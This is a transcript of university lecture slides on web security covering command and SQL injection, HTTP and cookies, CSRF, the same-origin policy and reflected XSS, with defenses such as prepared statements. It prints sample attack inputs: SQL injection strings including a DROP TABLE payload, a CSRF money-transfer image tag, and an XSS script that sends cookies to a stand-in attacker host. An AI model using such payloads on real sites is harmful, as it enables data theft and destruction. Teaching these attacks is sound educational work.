web attacks, con’tcs161/sp11/slides/... · method resource http version headers data (if post;...

72
Web Attacks, con’t CS 161: Computer Security Prof. Vern Paxson TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin http://inst.eecs.berkeley.edu/~cs161/ February 22, 2011

Upload: others

Post on 14-Aug-2020

5 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Web Attacks, con’t

CS 161: Computer SecurityProf. Vern Paxson

TAs: Devdatta Akhawe, Mobin Javed& Matthias Vallentin

http://inst.eecs.berkeley.edu/~cs161/February 22, 2011

Page 2: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Announcements

• See “Still confused about question 4submission format” thread in Piazzza(@116)

• Guest lecture a week from Thursday(March 3rd), Prof. David Wagner– My office hours the week of March 7th will be

by appointment• I may move my office hours next Monday

to 1-2PM - if so, will announce on Piazzza– Let me know if this would be a hardship

Page 3: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defending AgainstCommand Injection

• In principle, can prevent injection attacksby properly sanitizing input sent to webservers– Remove or escape meta-characters– Easy to get wrong by overlooking a meta-

character or escaping subtlety• Better: avoid using a feature-rich API

– KISS + defensive programming– E.g., use execve() to invoke a desired

program, rather than system()

Page 4: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Command Injection in the Real World

Page 5: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Command Injection in the Real World

Page 6: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 7: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 8: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Structure of Modern Web Services

BrowserWeb

server

URL / Form

command.php?arg1=x&arg2=y

Page 9: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Structure of Modern Web Services

BrowserWeb

server

URL / Form

command.php?arg1=x&arg2=y

Databaseserver

SQL query builtfrom x and y

Page 10: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Structure of Modern Web Services

BrowserWeb

server

Databaseserver

Custom datacorresponding to x & y

Page 11: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Structure of Modern Web Services

BrowserWeb

server

Web page builtusing custom data

Databaseserver

Page 12: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

SQL

• Widely used database query language• Fetch a set of records

SELECT * FROM Person WHERE Username=‘oski’

• Add data to the tableINSERT INTO Person (Username, Balance)

VALUES (‘oski’, 10) -- oski has ten buckaroos• Modify data

UPDATE Person SET Balance=42 WHEREUsername=‘oski’

• Query syntax (mostly) independent of vendor

An SQL comment

Page 13: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

SQL Injection Scenario

• Suppose web server front end stores URLparameter “recipient” in variable $recipientand then builds up a string with the followingSQL query:$sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' ";

• Query accesses recipient’s account if theirbalance is < 100.

Page 14: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

SQL Injection Scenario

• Suppose web server front end stores URLparameter “recipient” in variable $recipientand then builds up a string with the followingSQL query:$sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' ";

• So for “?recipient=Bob” the SQL query is:"SELECT PersonID FROM Person

WHERE Balance < 100 AND Username='Bob' "

Page 15: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

SQL Injection Scenario

• Suppose web server front end stores URLparameter “recipient” in variable $recipientand then builds up a string with the followingSQL query:$sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' ";

• How can recipient cause trouble here?– How can we see anyone’s account?

Page 16: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$recipient' "

• $recipient = foo' OR 1=1 --WHERE Balance < 100 AND

Username='foo' OR 1=1 --' "• Precedence & “--” (comment) makes this:

WHERE (Balance < 100 AND Username='foo') OR 1=1

• Always true!

Page 17: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$recipient' ";

• How about recipient = foo'; DROP TABLE Person; -- ?

• Now there are two separate SQLcommands, thanks to ‘;’ command-separator.

• Can change database however you wish

Page 18: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

Defenses

Page 19: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

Defenses

“Prepared Statement”

Page 20: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

Defenses

Untrusted user input

Page 21: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

Defenses

Input is confined toa single SQL atom

Page 22: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

Defenses

Binds the valueof uid to '?' atom

Page 23: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

Defenses

No matter what input user provides, Prepared Statementensures it will be treated as a single SQL datum

Page 24: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

<P>Hello  ${username}!    Welcome  back.

Defenses

Page 25: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

<P>Hello  ${username}!    Welcome  back.

Defenses

Template languageensures variable fullyescaped

Page 26: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

5 Minute Break

Questions Before We Proceed?

5 Minute Break

Page 27: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

27

Basic Structure of Web Traffic

Page 28: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

28

Basic Structure of Web Traffic

Includes “resource” from URLHeaders describing browser capabilities

Associated data for POST

Page 29: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

29

Basic Structure of Web Traffic

Includes “resource” from URLHeaders describing browser capabilities

Associated data for POST

Page 30: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

GET /login.html?user=alice&pass=bigsecret HTTP/1.1Accept: image/gif, image/x-bitmap, image/jpeg, */*Accept-Language: enConnection: Keep-AliveUser-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)Host: mybank.comReferer: http://www.google.com?q=mybank%20berkeley

HTTP RequestMethod Resource HTTP version Headers

Data (if POST; none for GET)

Blank line

GET: download data. POST: upload data.

Page 31: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

31

Basic Structure of Web Traffic

Includes status codeHeaders describing the answer

Data for returned item

Page 32: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

HTTP/1.0 200 OKDate: Sat, 19 Feb 2011 02:20:42 GMTServer: Microsoft-Internet-Information-Server/5.0Connection: keep-aliveContent-Type: text/htmlLast-Modified: Fri, 18 Feb 2011 17:39:05 GMTContent-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>

HTTP Response

HTTP version Status code Reason phrase Headers

Data

Page 33: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

33

HTTP Cookies

Includes status codeHeaders describing answer, incl. cookies

Data for returned item

Servers can include “cookies” in their replies:state that clients store and return on anysubsequent queries to the same server/domain

Page 34: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

HTTP/1.0 200 OKDate: Sun, 19 Apr 2009 02:20:42 GMTServer: Microsoft-Internet-Information-Server/5.0Connection: keep-aliveContent-Type: text/htmlLast-Modified: Sat, 18 Apr 2009 17:39:05 GMTSet-Cookie: session=44ebc991; path=/servletsContent-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>

HTTP Response

HTTP version Status code Reason phrase Headers

Data

Cookies Can include a session identifier that tracksa user once they have authenticated

Page 35: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

35

Cookies & Follow-On Requests

Includes “resource” from URLHeaders describing browser

capabilities, including cookiesAssociated data for POST

Page 36: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

GET /moneyxfer.cgi?account=alice&amt=50&to=bob HTTP/1.1Accept: image/gif, image/x-bitmap, image/jpeg, */*Accept-Language: enConnection: Keep-AliveUser-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)Host: mybank.comCookie: session=44ebc991; path=/servletsReferer: http://mybank.com/login.html?user=alice&pass...

HTTP RequestMethod Resource HTTP version

Headers

Data (if POST; none for GET)

Blank line

GET: download data. POST: upload data.

Page 37: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Web Browser Threats

• What can happen?– Compromise

• Inject code / install malware

– Theft• Of authentication• Of private/sensitive information

– Manipulation• Fool a user about what they’re seeing• Take actions user doesn’t intend (theft of volition)

• And what makes the problem particularly tricky?– Users are hugely reliant upon browsing

Page 38: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Simple Static HTML Content

<HTML> <HEAD> <TITLE>Test Page</TITLE> </HEAD> <BODY> <H1>Test Page</H1> <P> This is a test!</P> </BODY></HTML>

Threats?

Page 39: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

<form  action="http://bit.bg/a/paypal.php"method="post"  name=Date>

Phishing

Page 40: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Generating Web Accesses

<HTML> <HEAD> <TITLE>Test Page</TITLE> </HEAD> <BODY> <H1>Test Page</H1> <P> This is a test!</P> <IMG SRC="http://anywhere.com"> </BODY></HTML>

When we visit a web site, they cancause us to fetch any URL they wish

Threats?

Page 41: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Web Accesses w/ Side Effects

• Recall our earlier banking URL:

http://mybank.com/moneyxfer.cgi?account=alice&amt=50&to=bob

• So what happens if we visit evilsite.com, whichincludes:

<img  src="http://mybank.com/moneyxfer.cgi?      Account=alice&amt=500000&to=DrEvil">

• Cross-Site Request Forgery (CSRF) attack

Page 42: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

CSRF Defenses

• Defenses?– Inspect Referer headers (require it to be frommybank.com)

Referer: http://evilsite.com/testpage.html

– Or: require authentication (not just sessioncookie!) for serious requests

– Or: use distinct URLs (including randomizedcomponents) for bank web pages whose formsusers should use for serious requests

• Note: only the server can do these!

Page 43: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Or what else?Java, Flash,Active-X, PDF …

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>Javascript demo page</title></head>

<body><script type="text/javascript">var a = 1;var b = 2;document.write(a+b);</script> </body> </html>

Or what else?

Dynamic Web Pages• Rather than static HTML, web pages can be

expressed as a program, say written in Javascript:

Threats?

Page 44: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Drive-By Downloads

Page 45: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 46: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 47: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 48: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 49: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 50: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 51: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 52: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 53: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 54: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 55: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure
Page 56: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Subversive Script Execution

Page 57: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Browser Windows Interact

Page 58: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Browser Windows Interact

Script in here …

Page 59: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Browser Windows Interact

Script in here …

Needs to access /update state here …

Page 60: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Browser Windows Interact

Script in here …

Needs to access /update state here …

How to control just what scripts are allowed to do?

Page 61: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Same Origin Policy• Every frame in a browser window has a domain

– Domain = <server, protocol, port> from which theframe content was downloaded

Server = target.com, protocol = HTTP (maybe HTTPS)

• Code downloaded in a frame can only accessresources associated with that domain– Access = read and modify values, incl. page contents

• Given this Same Origin Policy (SOP), how can anattacker get a script of their choosing executed inthe domain target.com?– If they can, then disaster: they can manipulate victim’s

interactions with target.com in all sorts of ways

Page 62: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Victim client

Page 63: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Attack Server

Victim client

visit web site1

Page 64: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Attack Server

Victim client

visit web site

receive malicious page1

2

Page 65: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Attack Server

Victim client

visit web site

receive malicious page

click on link

1

2

3

Server Patsy/Victim

Exact URL underattacker’s control

Page 66: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Victim client click on linkecho user input

34

Server Patsy/Victim

Attack Servervisit web site

receive malicious page1

2

Page 67: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Victim client click on linkecho user input

34

Server Patsy/Victim

Attack Servervisit web site

receive malicious page1

2

execute scriptembedded in inputas though servermeant us to run it

5

Page 68: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Victim client click on linkecho user input

34

Server Patsy/Victim

Attack Servervisit web site

receive malicious page1

2

execute scriptembedded in inputas though servermeant us to run it

5 perform attacker action

6

Page 69: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Attack Server

Victim client click on linkecho user input

3

send valuable data

7

4

Server Patsy/Victim

visit web site

receive malicious page1

2

execute scriptembedded in inputas though servermeant us to run it

5

And/Or:

Page 70: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

Cross-Site Scripting (XSS)

Attack Server

Victim client

visit web site

receive malicious page

click on linkecho user input

1

2

34

(“Reflected” XSS attacks)

Server Patsy/Victim

execute scriptembedded in inputas though servermeant us to run it

5

send valuable data

7

perform attacker action

6

Page 71: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

71

The Setup• User input is echoed into HTML response.

• Example: search field– http://victim.com/search.php?term=apple

– search.php responds with:

<HTML> <TITLE> Search Results </TITLE><BODY>Results for <?php echo $_GET[term] ?> :. . .</BODY> </HTML>

• How can an attacker exploit this?

Page 72: Web Attacks, con’tcs161/sp11/slides/... · Method Resource HTTP version Headers Data (if POST; none for GET) Blank line GET: download data. POST: upload data. 31 Basic Structure

72

Injection Via Bad Input

• Consider link: (properly URL encoded)http://victim.com/search.php?term=

<script> window.open("http://badguy.com?cookie = " +document.cookie ) </script>

What if user clicks on this link?1) Browser goes to victim.com/search.php2) victim.com returns

<HTML> Results for <script> … </script> …3) Browser executes script in same origin as victim.com

Sends badguy.com cookie for victim.comOr any other arbitrary execution / rewrite victim.com page